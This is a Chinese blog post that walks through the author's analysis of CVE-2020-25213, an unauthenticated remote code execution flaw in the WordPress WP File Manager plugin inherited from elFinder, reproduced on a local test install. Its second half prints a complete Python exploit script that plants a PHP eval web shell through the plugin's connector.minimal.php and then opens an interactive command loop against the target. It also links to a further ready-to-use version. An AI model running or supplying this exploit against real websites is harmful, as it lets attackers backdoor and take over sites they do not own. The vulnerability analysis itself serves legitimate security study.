WordPress文件管理器插件0day漏洞解析-CVE-2020-25213

WordPress文件管理器插件0day漏洞解析-CVE-2020-25213

昨天好多安全平台发布了WordPress插件WP File Manager的0day漏洞预警,然后我怀着好奇的心情解析了一波,花了些时间总算是解开了这个漏洞的神秘面纱。

image-20200904123421209

从预警中可以看到漏洞在/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php,然后里面的 关键代码说实话我一开始没看懂,大概意思就是两个文件包含,然后下面run elFinder。

为了弄懂这个我下载了WP File Manager插件6.0版本:下载地址https://wordpress.org/plugins/wp-file-manager/advanced/

然后搭建了一个WordPress5.3.2,用phpstrom调试审计这个插件。

先看了两个文件包含,其中一个./vendor/autoload.php文件是不存在的,另一个autoload.php也没什么特别的东西。

然后往下看,在然后我被41行这个给误导了

image-20200904123940637

因为断点调试到这一行,就会跳转到一个叫elFinderConnector.class.php的文件里,然后在这个文件160行发现exec()函数,我以为关键点就在这里,然后一直研究这个函数,然后并没有什么实际发现。。。

image-20200904124017319

然后 我开始怀疑人生,可能是我太菜了吧,挖不到漏洞,别人都说了这里有0day我都挖不到,我也太菜了吧。。。

当我快要放弃的时候,我又看了一眼漏洞预警,其中几个字打开了我的思路,“这段代码来自elFinder项目”,这个意思是不是说WP File Manager插件使用了elFinder项目的代码,然后elFinder有漏洞。

image-20200904124600592

于是,我又去百度elFinder漏洞

image-20200904124821961

emmmmmmm。。。。。竟然真有漏洞,还是个CVE,CVE-2019-9194

漏洞原理啥的没细看,这里贴一下https://xz.aliyun.com/t/4444

然后我就找找有没有poc可以用,从exp-db上搜索elFinder,发现一个远程代码执行的链接,打开看看。

发现里面的存在漏洞的文件connector.php跟预警的文件connector.minimal.php挺像的,因为connector.minimal.php是示例文件所以是示例名,实际上正式项目要改成connector.php。应该是这个意思

image-20200904125222615

然后就下载这个poc来验证我搭建的环境。

image-20200904125057545

因为前面说了那个WP File Manager插件的作者直接搬运了elFinder的代码,所以连示例文件的名字都没有改,所以要稍微修改一下poc,将connector.php改成connector.minimal.php,然后将一句话改为eval,同时为方便调试将print的注释去掉

image-20200904125955530

下面是漏洞验证环节:

image-20200904130043754

可以看到在\wp-content\plugins\wp-file-manager\lib\files目录下成功生成了文件,内容为一句话。与漏洞预警中说明的目录是一样的。

image-20200904130332443

image-20200904130205479

image-20200904130434805

image-20200904130603094

以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc

#[+] Author: TUNISIAN CYBER
#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability
#[+] Date: 06-05-2015
#[+] Vendor: https://github.com/Studio-42/elFinder
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Time Line:
#    03-05-2015:Vulnerability Discovered
#    03-05-2015:Contacted Vendor
#    04-05-2015:No response
#    05-05-2015:No response
#    06-05-2015:No response
#    06-05-2015:Vulnerability published

import cookielib, urllib
import urllib2
import sys

print"\x20\x20+-------------------------------------------------+"
print"\x20\x20| elFinder Remote Command Execution Vulnerability |"
print"\x20\x20|                 TUNISIAN CYBER                  |"
print"\x20\x20+-------------------------------------------------+"


host = raw_input('\x20\x20Vulnerable Site:')
evilfile = raw_input('\x20\x20EvilFileName:')
path=raw_input('\x20\x20elFinder s Path:')


tcyber = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))

create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')
print create.read()

payload = urllib.urlencode({
                            'cmd' : 'put',
                            'target' : 'l1_'+evilfile.encode('base64','strict'),
                            'content' : '<?php eval($_GET[\'cmd\']); ?>'
                            })

write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload)
#print write.read()
print '\n'
while True:
    try:
        cmd = raw_input('[She3LL]:~# ')

        execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))
        reverse = execute.read()
        print reverse;

        if cmd.strip() == 'exit':
            break

    except Exception:
        break

sys.exit()

这里更新pocsuit版本

https://blog.csdn.net/ordar123/article/details/110670335

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ordar123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值